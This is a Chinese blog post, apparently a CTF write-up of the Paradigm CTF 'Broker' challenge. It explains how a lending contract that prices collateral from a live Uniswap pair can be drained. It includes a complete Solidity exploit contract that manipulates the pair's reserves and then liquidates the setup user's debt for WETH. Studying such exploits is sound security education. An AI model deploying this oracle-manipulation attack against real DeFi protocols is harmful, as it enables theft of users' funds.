Paradigm CTF- 银行家

  • bixia1994
  • 更新于 2021-07-11 10:07
  • 阅读 2661

本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。

Paradigm CTF- 银行家

本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。

本文都是基于https://binarycake.ca/posts/paradigm-ctf-broker/这篇文章进行的分析,如有需要可以参考原文。

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 🐟 。如果你觉得我写的还不错,可以加我的微信:woodward1993

broker.png

分析原文:

function isSolved() public view returns (bool) {
    return weth.balanceOf(address(broker)) < 5 ether;
}

从上可以看到,本题目解决的条件是最后broker的WETH的余额小于5ether。

作为一个broker合约,我们分析下它资金的流入,流出渠道:

函数名 流入\流出 要求 状态改变
rage() NA $\mathtt{r}=\mathtt{R}_0/\mathtt{R}_1$
safeDebt(address) NA $\mathtt{deposite}\mathtt{r}2/3$
borrow(uint256) TOKEN流出 $\mathtt{safeDebt}>\mathtt{debt}$ debt[msg.sender] += amount
repay(uint256) TOKEN流入 debt[msg.sender] -= amount
liquidate(address,uint256) TOKEN流入,WETH流出 $\mathtt{safeDebt}<=\mathtt{debt}$ debt[user] -= amount;
deposit(uint256) WETH流入 deposited[msg.sender] += amount;
withdraw(uint256) WETH流出 $\mathtt{safeDebt}>\mathtt{debt}$ deposited[msg.sender] -= amount

我们的目标是让WETH流出,可以看到有liquidate和withdarw两个渠道,liquidate看起来更容易出问题:

// repay a user's loan and get back their collateral. no discounts.
function liquidate(address user, uint256 amount) public returns (uint256) {
    require(safeDebt(user) &lt;= debt[user], "err: overcollateralized");
    debt[user] -= amount;
    token.transferFrom(msg.sender, address(this), amount);
    uint256 collateralValueRepaid = amount / rate();
    weth.transfer(msg.sender, collateralValueRepaid);
    return collateralValueRepaid;
}

预言机攻击

简单看,我们可以操纵rate()比例,让liquidate时,rate()尽可能小,从而我们得到的WETH尽可能多。让rate()小,就需要让$R_0$尽可能小或者$R_1$尽可能大。结合remix可知,$R_0$是token,$R_1$是WETH。

image20210710200603638.png

这道题是一个简单的预言机攻击的POC,其中Uniswap的Pair合约是预言机唯一的价格来源,其提供了实时的资产价格rate().

正常情况是User在合约broker中存入(deposit)WETH, 获得一定的存款量,即deposited. 当用户决定贷款时(borrow),会根据实时Uniswap中TOKEN/WETH价格与存款量计算用户的最大贷款额度,safeDebt。当价格发生波动时,rate改变从而用户的safeDebt改变,导致某些用户出现safeDebt<debt的风险敞口,从而可以被外部用户liquidate. 当代为偿还User的债务时,即清算者会获得按照此时刻的资产价格对应的WETH数量。

在本合约中,最大的风险点在于其价格预言机,是Unisawp中Pair的实时价格。 image27.png

我们可以通过操纵短时间的Uniswap中的该Pair合约中的实时价格,从而可以清算其他用户的债务获利。 image32.png

思路

故最简单的思路是借来足够多的WETH,在uniswap的Pair中交易,换取token,降低rate,然后清算setup用户的债务,获取WETH。

borrow(amountTOken) 
    -> debt增加 无法增加,因为是setup借的
Router02.swapExactTokensForTokens(amountWETHIn,amountTokenout,path,to,deadline) 
    -> r降低 -> safedebt降低
liquidate(user,amount) 
    -> 满足safeDebt &lt;= debt条件
pragma solidity 0.8.0;
import "./Setup.sol";
interface Router {
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}
contract Hack {
    Router public router;
    Setup public setup;
    WETH9 public weth;
    IUniswapV2Pair public pair;
    Broker public broker;
    Token public token;

    uint256 constant DECIMALS = 1 ether;

    constructor(address _setup) public payable {
        setup = Setup(_setup);
        weth = WETH9(setup.weth());
        pair = IUniswapV2Pair(setup.pair());
        broker = Broker(setup.broker());
        token = Token(setup.token());
        router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    }
    function exploit() public payable {
        uint amount_WETH = msg.value;
        //将本合约的ETH换成WETH
        weth.deposit{value: amount_WETH}();

        weth.approve(address(broker), type(uint256).max);
        weth.approve(address(router), type(uint256).max);
        token.approve(address(broker), type(uint256).max);
        token.approve(address(router), type(uint256).max);
        //调用router接口的swap方法,换成token
        address[] memory data = new address[](2);
        data[0] = address(weth);
        data[1] = address(token);
        uint[] memory amount_TOKEN = router.swapExactTokensForTokens(amount_WETH,0,data,address(this),(block.timestamp + 2 days));
        //调用broker合约的liquidate方法,收割user,要先approve一下TOKEN的使用量. 
        uint amount_liquidate = 21 ether * broker.rate();
        broker.liquidate(address(setup), amount_liquidate);
        //将TOKEN换回WETH,最后取出ETH => 这里liquidate代为偿还User的债务时,就消耗了一些TOKEN,故后续无法再通过交换拿到自己的原先的WETH 逻辑不成立了
        require(setup.isSolved(), "not solve");

    }
    function killself() public payable{
        selfdestruct(payable(tx.origin));
    }
    receive() external payable {}
    function attack() public payable {
        weth.deposit{value: msg.value}();

        weth.transfer(address(pair),weth.balanceOf(address(this)));
        bytes memory payload;
        pair.swap(msg.value,0,address(this),payload);
        uint256 rate = broker.rate();
        token.approve(address(broker),type(uint256).max);

        uint256 liqAmount = 21 ether * rate;
        broker.liquidate(address(setup), liqAmount);
        require(setup.isSolved(),"!solved");
    }
}

这里使用到了Uniswap router02合约中的swapExactTokensForTokens函数

function swapExactTokensForTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
    amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
    // log("amounts:",amounts);
    require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
    TransferHelper.safeTransferFrom(
        path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
    );
    _swap(amounts, path, to);
}
点赞 0
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code